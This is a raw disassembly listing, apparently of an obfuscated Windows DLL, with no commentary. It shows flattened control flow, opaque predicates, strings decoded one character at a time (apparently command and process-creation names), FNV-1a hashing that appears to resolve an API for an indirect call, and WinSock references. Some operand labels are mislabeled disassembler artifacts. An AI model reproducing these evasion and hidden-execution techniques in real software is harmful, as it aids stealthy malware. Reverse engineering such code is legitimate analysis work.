mov rcx, qword [rbp + 0xe0]
mov byte [rcx], al
mov eax, dword [0x180129ca8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb5c75a96
mov ecx, 0x11a858ad
cmove eax, ecx
cmp dword [0x180129cac], 0xa
cmovl eax, ecx
jmp 0x180077300
mov rax, qword [rbp - 0x58]
mov dword [rax], 1
mov rax, qword [rbp + 0x98]
mov word [rax + 0x40], 0
mov rax, qword [rbp + 0x90]
mov rsi, qword [rbp + 0x90]
mov qword [rbp + 0xd8], rsi
mov rax, qword [rbp + 0xd8]
mov word [rax], 0xe4c7
mov rdi, qword [rbp + 0xd8]
sub rsp, 0x20
mov rcx, rsi
mov dx, reloc.WS2_32.dll_WSAStartup
xor r8d, r8d
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 2], ax
sub rsp, 0x20
mov r8d, 1
mov rcx, rsi
mov dx, 0x63
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 4], ax
sub rsp, 0x20
mov r8d, 2
mov rcx, rsi
mov dx, 0x20
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 6], ax
sub rsp, 0x20
mov r8d, 3
mov rcx, rsi
mov dx, 0x64
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 8], ax
sub rsp, 0x20
mov r8d, 4
mov rcx, rsi
mov dx, 0x65
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 0xa], ax
add rdi, 0xc
mov qword [rbp + 0xe0], rdi
sub rsp, 0x20
mov r8d, 5
mov rcx, rsi
mov dx, 0x6c
call fcn.1800989f0
add rsp, 0x20
mov rcx, qword [rbp + 0xe0]
mov word [rcx], ax
mov eax, 0x65f21d94
nop
cmp eax, 0x65f21d93
jg 0x180077860
cmp eax, 0xded28006
je 0x180077fc1
cmp eax, 0x5abe09f3
jne 0x1800777f0
mov rax, qword [rbp + 0xf0]
movzx ecx, word [rbp + 0xc8]
mov word [rax], cx
mov rdi, qword [rbp + 0xf0]
sub rsp, 0x20
mov r8d, 0x10
mov rcx, rsi
mov dx, 0x42
call fcn.1800989f0
add rsp, 0x20
mov word [rdi + 2], ax
add rdi, 4
mov rax, qword [rbp + 0xd8]
add rax, 0x26
mov qword [rbp + 0x9b8], rax
mov eax, 0x7c6f7717
jmp 0x1800777f0
cmp eax, 0x7c6f7717
je 0x1800779c1
cmp eax, 0x65f21d94
jne 0x1800777f0
mov rbx, qword [rbp + 0xe0]
sub rsp, 0x20
mov r8d, 6
mov rcx, rsi
mov dx, 0x65
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 2], ax
sub rsp, 0x20
mov r8d, 7
mov rcx, rsi
mov dx, 0x74
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 4], ax
sub rsp, 0x20
mov r8d, 8
mov rcx, rsi
mov dx, 0x65
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 6], ax
sub rsp, 0x20
mov r8d, 9
mov rcx, rsi
mov dx, 0x20
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 8], ax
sub rsp, 0x20
mov r8d, 0xa
mov rcx, rsi
mov dx, 0x43
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0xa], ax
sub rsp, 0x20
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, rsi
mov dx, 0x61
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0xc], ax
sub rsp, 0x20
mov r8d, 0xc
mov rcx, rsi
mov dx, 0x63
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0xe], ax
sub rsp, 0x20
mov r8d, 0xd
mov rcx, rsi
mov dx, 0x68
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0x10], ax
sub rsp, 0x20
mov r8d, 0xe
mov rcx, rsi
mov dx, 0x65
call fcn.1800989f0
add rsp, 0x20
mov word [rbx + 0x12], ax
add rbx, 0x14
mov qword [rbp + 0xf0], rbx
sub rsp, 0x20
mov r8d, 0xf
mov rcx, rsi
mov dx, 0x44
call fcn.1800989f0
add rsp, 0x20
mov word [rbp + 0xc8], ax
mov eax, 0x5abe09f3
jmp 0x1800777f0
mov word [rdi], 0
add rdi, 2
cmp rdi, qword [rbp + 0x9b8]
mov eax, 0x7c6f7717
mov ecx, 0xded28006
cmove eax, ecx
jmp 0x1800777f0
mov eax, dword [0x180129820]
mov ecx, dword [0x180129824]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setge bl
xor bl, al
mov eax, 0x9ce11c45
mov ebx, 0x25c7327a
cmovne eax, ebx
cmp ecx, 0xa
mov ecx, 0x9ce11c45
cmovl eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x180074cd0
mov eax, 0x9ce11c45
jmp 0x180074cd0
movsx edi, byte [rbp + 0xc8]
mov ecx, dword [0x180129c90]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl dl
cmovl ebx, r8d
setge al
xor al, cl
and dl, cl
xor dl, al
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop word [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x180077ab0
cmp ecx, 0xfa630b3d
je 0x180077ac8
cmp ecx, 0x21a21833
je 0x180077acf
cmp ecx, 0x180fafe8
jne 0x180077a80
mov ecx, edx
jmp 0x180077a80
cmp ecx, 0x91c44eb1
je 0x1800780e4
cmp ecx, 0xb9fa49fa
jne 0x180077a80
mov ecx, ebx
jmp 0x180077a80
mov ecx, 0xb9fa49fa
jmp 0x180077a80
mov ecx, 0x180fafe8
jmp 0x180077a80
mov rbx, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x57
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 2], al
add rbx, 3
mov qword [rbp + 0xf0], rbx
mov rax, qword [rbp + 0xc8]
add rax, 0x10
mov qword [rbp + 0x9b8], rax
mov eax, dword [0x180129cb0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x93fa3ff3
mov ecx, 0xc2adcecc
cmove eax, ecx
cmp dword [0x180129cb4], 0xa
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0xf50a9272
jle 0x180077b80
cmp eax, 0x10e1d1a4
jg 0x180077bc0
cmp eax, 0xf50a9273
je 0x180077ad6
cmp eax, 0x6da6b86
jne 0x180077b50
jmp 0x180078121
cmp eax, 0x93fa3ff3
je 0x180077c47
cmp eax, 0xc2adcecc
je 0x180077c89
cmp eax, 0xc8677eba
jne 0x180077b50
mov eax, dword [0x180129cb0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x93fa3ff3
mov ecx, 0xf50a9273
jmp 0x180077b3d
cmp eax, 0x74fa9cc4
je 0x180077c9a
cmp eax, 0x10e1d1a5
jne 0x180077b50
mov rax, qword [rbp + 0xd8]
movzx ecx, byte [rbp + 0xb0]
mov byte [rax], cl
mov rbx, qword [rbp + 0xd8]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x63
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 2], al
add rbx, 3
mov qword [rbp + 0xe0], rbx
sub rsp, 0x20
mov rcx, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.180098b70
add rsp, 0x20
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], al
mov eax, 0xc8677eba
jmp 0x180077b50
mov rbx, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x57
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 2], al
mov rax, qword [rbp + 0xc8]
mov eax, 0xf50a9273
jmp 0x180077b50
mov eax, 0x74fa9cc4
mov rdi, qword [rbp + 0xf0]
jmp 0x180077b50
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0x9b8]
mov eax, 0x74fa9cc4
mov ecx, 0x6da6b86
cmove eax, ecx
jmp 0x180077b50
mov eax, dword [0x180129820]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x25c7327a
mov ecx, 0xebb666e9
jmp 0x180074cc3
mov byte [rbp + 0xe0], cl
movzx ecx, byte [rbp + 0xe0]
mov ebx, dword [rbp + 0xf0]
mov edx, ebx
and edx, 0x76
or edx, 8
and ebx, 0x89
mov edi, ecx
and edi, 0x76
or edi, 0x81
and ecx, 0xffffff89
xor ecx, ebx
xor ecx, edi
xor ecx, edx
xor cl, 0x89
mov byte [r9 + 1], cl
mov ecx, 0x8c53169d
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x180077d35
cmp ecx, 0x71319a28
jne 0x180077d20
jmp 0x1800785fc
mov ecx, 0x71319a28
jmp 0x180077d20
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edx, 0x35d4fac2
nop
cmp edx, 0xf22d6e9d
je 0x1800786b7
cmp edx, 0x35d4fac2
jne 0x180077d50
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edx, 0xf22d6e9d
jmp 0x180077d50
mov word [rbp + 0x9b8], dx
movzx edx, word [rbp + 0x9b8]
mov dword [rbp + 0xf0], edx
mov ebx, 0xf1216f95
cmp ebx, 0xa73b602f
je 0x180078789
cmp ebx, 0xf1216f95
jne 0x180077d90
mov edx, dword [rbp + 0xe0]
mov ebx, dword [rbp + 0xf0]
mov edi, ebx
and edi, 0x59c4d2ac
or edi, 0x4190900
xor ebx, edx
and edx, 0x59c4d2ac
and ebx, 0xa63b2d53
or edx, 0x4190900
xor edx, ebx
xor edx, edi
mov ebx, 0xa73b602f
jmp 0x180077d90
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x129], cl
mov dword [rbp + 0x9b8], 0x67
mov esi, 0x1e41b6af
nop word cs:[rax + rax]
cmp esi, 0x615460a8
jle 0x180077e60
cmp esi, 0x7b913b8f
je 0x180077e74
cmp esi, 0x713d3d7d
je 0x1800787cc
cmp esi, 0x615460a9
jne 0x180077e10
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x180077e50
cmp eax, 0x8c3c334e
jne 0x180077e40
jmp 0x180077e7b
mov eax, 0x8c3c334e
jmp 0x180077e40
cmp esi, 0x1b714e29
je 0x180077e8d
cmp esi, 0x1e41b6af
jne 0x180077e10
mov esi, edx
jmp 0x180077e10
mov esi, 0x713d3d7d
jmp 0x180077e10
mov byte [rbp + 0xf0], 9
mov al, byte [rbp + 0xf0]
mov esi, r10d
jmp 0x180077e10
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x180077eb2
cmp ecx, 0x8c3c334e
jne 0x180077ea0
jmp 0x180077eb9
mov ecx, 0x8c3c334e
jmp 0x180077ea0
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov esi, 0x615460a9
jmp 0x180077e10
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edx, 0x35d4fac2
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf22d6e9d
je 0x1800788c0
cmp edx, 0x35d4fac2
jne 0x180077ef0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edx, 0xf22d6e9d
jmp 0x180077ef0
mov cl, byte [rbp + 0xf0]
mov byte [rax + 1], cl
mov ecx, 0xbb92f901
nop word cs:[rax + rax]
nop
cmp ecx, 0x4bfbd828
je 0x180078989
cmp ecx, 0xbb92f901
jne 0x180077f30
mov ecx, 0x9c071d3a
nop dword [rax]
cmp ecx, 0x9c071d3a
je 0x180077f62
cmp ecx, 0xe93106a3
jne 0x180077f50
jmp 0x180077f69
mov ecx, 0xe93106a3
jmp 0x180077f50
mov qword [rbp + 0x9b8], rbx
mov rcx, qword [rbp + 0x9b8]
mov cl, byte [rcx]
xor cl, 0x65
mov byte [rbp + 0xf0], cl
mov ecx, 0x4bfbd828
jmp 0x180077f30
mov dword [rbp + 0xd8], 0x36
mov ecx, 0x5429a614
nop dword [rax + rax]
cmp ecx, 0xa9452cee
je 0x1800789f9
cmp ecx, 0x5429a614
jne 0x180077fa0
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x180077fa0
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call fcn.1800954b0
add rsp, 0x20
mov rcx, qword [rbp + 0x60]
sub rsp, 0x20
mov rdx, rax
call fcn.18003e980
add rsp, 0x20
mov rax, qword [rbp + 0x88]
mov rsi, qword [rbp + 0x88]
mov qword [rbp + 0xc8], rsi
mov rax, qword [rbp + 0xc8]
mov byte [rax], 0x2a
mov rdi, qword [rbp + 0xc8]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x43
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, WSAStartup
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x61
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x74
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 6], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x50
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 7], al
sub rsp, 0x20
mov rcx, rsi
mov dl, WSAStartup
call fcn.180098b70
add rsp, 0x20
mov byte [rdi + 8], al
add rdi, 9
mov qword [rbp + 0xd8], rdi
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x6f
call fcn.180098b70
add rsp, 0x20
mov byte [rbp + 0xb0], al
mov eax, 0x10e1d1a5
jmp 0x180078ad0
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, edi
mov dword [rbp + 0xe0], eax
mov ecx, 0xccf8862c
nop
cmp ecx, 0x3226a3c6
je 0x180078c3a
cmp ecx, 0xccf8862c
jne 0x180078100
mov eax, dword [rbp + 0xe0]
mov ecx, 0x3226a3c6
jmp 0x180078100
mov rcx, qword [rbp + 0x88]
sub rsp, 0x20
call fcn.180095710
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0xcbf29ce484222325
jmp 0x1800781d0
mov edx, dword [rbp + 0xd8]
mov rdx, qword [rbp + 0x9b8]
mov rdx, qword [rbp + 0x9b8]
mov rdx, qword [rbp + 0x9b8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
cmp edx, 0xfe90a09b
jle 0x180078240
cmp edx, 0x333d8297
jle 0x180078290
cmp edx, 0x5cca55f4
jg 0x18007830a
cmp edx, 0x333d8298
je 0x1800783cd
cmp edx, 0x33ec62ab
je 0x1800783e6
cmp edx, 0x42d422e5
jne 0x1800781d0
mov dword [rbp + 0xb0], edi
mov edx, dword [rbp + 0xb0]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xec], edx
mov edx, dword [rbp + 0xec]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov ebx, 0xfb306983
cmovge edx, ebx
jmp 0x1800781d0
cmp edx, 0xc5fd57a7
jle 0x1800782d0
cmp edx, 0xeb000b68
jg 0x18007833a
cmp edx, 0xc5fd57a8
je 0x1800783f7
cmp edx, 0xd1e81d16
je 0x180078406
cmp edx, 0xd597d4ff
jne 0x1800781d0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xd4]
jmp 0x1800781d0
cmp edx, 0x12a1b9d7
jle 0x18007836c
cmp edx, 0x12a1b9d8
je 0x18007841f
cmp edx, 0x181b9de8
je 0x18007842e
cmp edx, 0x28ad3f39
jne 0x1800781d0
mov edx, 0x73f80f82
jmp 0x1800781d0
cmp edx, 0xb163ad29
jle 0x18007839e
cmp edx, 0xb163ad2a
je 0x180078468
cmp edx, 0xb9d33223
je 0x180078495
cmp edx, 0xbb6ed30e
jne 0x1800781d0
mov edx, 0x12a1b9d8
jmp 0x1800781d0
cmp edx, 0x5cca55f5
je 0x1800784a6
cmp edx, 0x7343bfbc
je 0x180078182
cmp edx, 0x73f80f82
jne 0x1800781d0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x1800781d0
cmp edx, 0xeb000b69
je 0x1800784bf
cmp edx, 0xfb306983
jne 0x180078536
mov edx, dword [rbp + 0xec]
cmp edx, 0x7f
setl byte [rbp + 0xc7]
mov edx, 0x333d8298
jmp 0x1800781d0
cmp edx, 0xfe90a09c
je 0x1800784ea
cmp edx, 0x1dd0b01
jne 0x1800781d0
mov edx, dword [rbp + 0xe8]
cmp edx, 0x5b
setl byte [rbp + 0xa4]
mov edx, 0xd1e81d16
jmp 0x1800781d0
cmp edx, 0x87cbc1a8
je 0x18007851c
cmp edx, 0x9302de66
jne 0x1800781d0
mov rcx, qword [rbp + 0xf0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xb8]
jmp 0x1800781d0
cmp byte [rbp + 0xc7], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x1800781d0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xa8]
jmp 0x1800781d0
mov dword [rbp + 0xd8], r10d
mov edx, r9d
jmp 0x1800781d0
cmp byte [rbp + 0xa4], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x1800781d0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x1800781d0
movsxd rdx, dword [rbp + 0xd8]
xor rdx, qword [rbp + 0x9b8]
movabs rbx, 0x100000001b3
imul rdx, rbx
mov qword [rbp + 0xf0], rdx
mov edx, dword [rbp + 0xc8]
add edx, 1
mov dword [rbp + 0xb8], edx
mov edx, r8d
jmp 0x1800781d0
mov dword [rbp + 0xc8], esi
mov qword [rbp + 0x9b8], rcx
mov edx, dword [rbp + 0xb0]
mov ebx, dword [rbp + 0xc8]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x1800781d0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xe8]
jmp 0x1800781d0
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xd4], edx
mov edx, 0xd597d4ff
jmp 0x1800781d0
mov rdx, qword [rbp + 0xe0]
movsx edx, byte [rdx]
mov dword [rbp + 0xe8], edx
mov edx, dword [rbp + 0xe8]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x1800781d0
mov edx, dword [rbp + 0xe8]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0xa8], edx
mov edx, 0x33ec62ab
jmp 0x1800781d0
mov edx, dword [rbp + 0xc8]
add rdx, rax
mov qword [rbp + 0xe0], rdx
mov edx, 0xeb000b69
jmp 0x1800781d0
cmp edx, 0xf6d6bd87
jne 0x1800781d0
mov rcx, qword [rbp + 0x9b8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rdx, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x98]
sub rsp, 0x50
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rbx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call rax
add rsp, 0x50
mov rax, qword [rbp + 0x58]
mov rcx, qword [rax + 0x10]
sub rsp, 0x20
mov edx, 2
call fcn.1800d7210
add rsp, 0x20
mov rax, qword [rbp + 0x80]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp + 0x80]
mov ecx, 0x46cf7080
mov r8d, 0xef259028
mov r9d, 0x43384baf
mov esi, 0xa0ec6678
nop dword [rax]
cmp ecx, 0x46cf7080
je 0x1800785f5
cmp ecx, 0x72115a2d
jne 0x1800785e0
jmp 0x180078cf6
mov ecx, 0x72115a2d
jmp 0x1800785e0
mov ecx, dword [0x180129c98]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edi, 0xbe73cc8d
cmovne edi, r13d
mov dword [rbp + 0xf0], 0x4c
mov ebx, 0x926a4418
cmove ebx, r12d
cmp dword [0x180129c9c], 0xa
cmovl edi, r15d
mov byte [rbp + 0xd8], r8b
cmovl ebx, r12d
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x180078680
cmp edx, 0x926a4418
je 0x18007869e
cmp edx, 0xbe73cc8d
je 0x1800786ac
cmp edx, 0xe39c1de6
jne 0x180078650
jmp 0x180078db2
cmp edx, 0x8bbf196b
je 0x1800786b3
cmp edx, 0x8f01ddc2
jne 0x180078650
movzx ecx, byte [rbp + 0xd8]
add cl, 1
mov edx, edi
jmp 0x180078650
movzx edx, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x180078650
mov edx, 0xe39c1de6
jmp 0x180078650
mov edx, ebx
jmp 0x180078650
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 1], al
mov dword [rbp + 0xd8], 0x65
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
nop
cmp ecx, 0xff9fb55d
jle 0x180078760
cmp ecx, 0x75847964
je 0x18007877e
cmp ecx, 0x64823d8c
je 0x180078e1c
cmp ecx, 0xff9fb55e
jne 0x180078720
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180078720
cmp ecx, 0xabbc78b9
je 0x180078785
cmp ecx, 0xf18f601f
jne 0x180078720
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180078720
mov ecx, 0x64823d8c
jmp 0x180078720
mov ecx, edx
jmp 0x180078720
mov dword [rbp + 0x9b8], edx
mov edx, dword [rbp + 0x9b8]
mov word [rcx + 2], dx
mov dword [rbp + 0xe0], 0x61
movzx edx, word [rax]
mov ebx, 0xeabf51c2
nop dword [rax + rax]
cmp ebx, 0xeabf51c2
je 0x1800787c5
cmp ebx, 0x4bd3432e
jne 0x1800787b0
jmp 0x180078e57
mov ebx, 0x4bd3432e
jmp 0x1800787b0
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x12a], cl
mov dword [rbp + 0x9b8], 0x51
mov ecx, 0x1e41b6af
nop word cs:[rax + rax]
nop
cmp ecx, 0x615460a8
jle 0x180078850
cmp ecx, 0x7b913b8f
je 0x180078864
cmp ecx, 0x713d3d7d
je 0x180078ebd
cmp ecx, 0x615460a9
jne 0x180078800
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x180078840
cmp eax, 0x8c3c334e
jne 0x180078830
jmp 0x18007886b
mov eax, 0x8c3c334e
jmp 0x180078830
cmp ecx, 0x1b714e29
je 0x18007887d
cmp ecx, 0x1e41b6af
jne 0x180078800
mov ecx, edx
jmp 0x180078800
mov ecx, 0x713d3d7d
jmp 0x180078800
mov byte [rbp + 0xf0], 9
mov al, byte [rbp + 0xf0]
mov ecx, r10d
jmp 0x180078800
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x1800788a2
cmp ecx, 0x8c3c334e
jne 0x180078890
jmp 0x1800788a9
mov ecx, 0x8c3c334e
jmp 0x180078890
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov ecx, 0x615460a9
jmp 0x180078800
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 1], al
mov dword [rbp + 0xd8], 0x65
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x180078960
cmp ecx, 0x75847964
je 0x18007897e
cmp ecx, 0x64823d8c
je 0x180078fb0
cmp ecx, 0xff9fb55e
jne 0x180078920
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180078920
cmp ecx, 0xabbc78b9
je 0x180078985
cmp ecx, 0xf18f601f
jne 0x180078920
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180078920
mov ecx, 0x64823d8c
jmp 0x180078920
mov ecx, edx
jmp 0x180078920
mov cl, byte [rbp + 0xf0]
mov byte [rax + 2], cl
mov ecx, 0xbb92f901
nop word [rax + rax]
cmp ecx, 0x4bfbd828
je 0x180078ff7
cmp ecx, 0xbb92f901
jne 0x1800789a0
mov ecx, 0x9c071d3a
nop dword [rax]
cmp ecx, 0x9c071d3a
je 0x1800789d2
cmp ecx, 0xe93106a3
jne 0x1800789c0
jmp 0x1800789d9
mov ecx, 0xe93106a3
jmp 0x1800789c0
mov qword [rbp + 0x9b8], rbx
mov rcx, qword [rbp + 0x9b8]
mov cl, byte [rcx]
xor cl, 0x67
mov byte [rbp + 0xf0], cl
mov ecx, 0x4bfbd828
jmp 0x1800789a0
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov rcx, qword [rbp + 0xf0]
mov byte [rcx], al
mov rax, qword [rbp + 0xf0]
mov dword [rbp + 0xd8], WSAStartup
mov edx, 0x5429a614
nop word cs:[rax + rax]
nop
cmp edx, 0xa9452cee
je 0x180079069
cmp edx, 0x5429a614
jne 0x180078a30
mov ecx, dword [rbp + 0xd8]
mov edx, 0xa9452cee
jmp 0x180078a30
mov rbx, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x57
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 2], al
add rbx, 3
mov qword [rbp + 0xf0], rbx
mov rax, qword [rbp + 0xc8]
add rax, 0x10
mov qword [rbp + 0x9b8], rax
mov eax, dword [0x180129cb0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x93fa3ff3
mov ecx, 0xc2adcecc
cmove eax, ecx
cmp dword [0x180129cb4], 0xa
cmovl eax, ecx
nop word cs:[rax + rax]
nop
cmp eax, 0xf50a9272
jle 0x180078b00
cmp eax, 0x10e1d1a4
jg 0x180078b40
cmp eax, 0xf50a9273
je 0x180078a51
cmp eax, 0x6da6b86
jne 0x180078ad0
jmp 0x1800790b1
cmp eax, 0x93fa3ff3
je 0x180078bc7
cmp eax, 0xc2adcecc
je 0x180078c09
cmp eax, 0xc8677eba
jne 0x180078ad0
mov eax, dword [0x180129cb0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x93fa3ff3
mov ecx, 0xf50a9273
jmp 0x180078ab8
cmp eax, 0x74fa9cc4
je 0x180078c1a
cmp eax, 0x10e1d1a5
jne 0x180078ad0
mov rax, qword [rbp + 0xd8]
movzx ecx, byte [rbp + 0xb0]
mov byte [rax], cl
mov rbx, qword [rbp + 0xd8]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x63
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 2], al
add rbx, 3
mov qword [rbp + 0xe0], rbx
sub rsp, 0x20
mov rcx, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
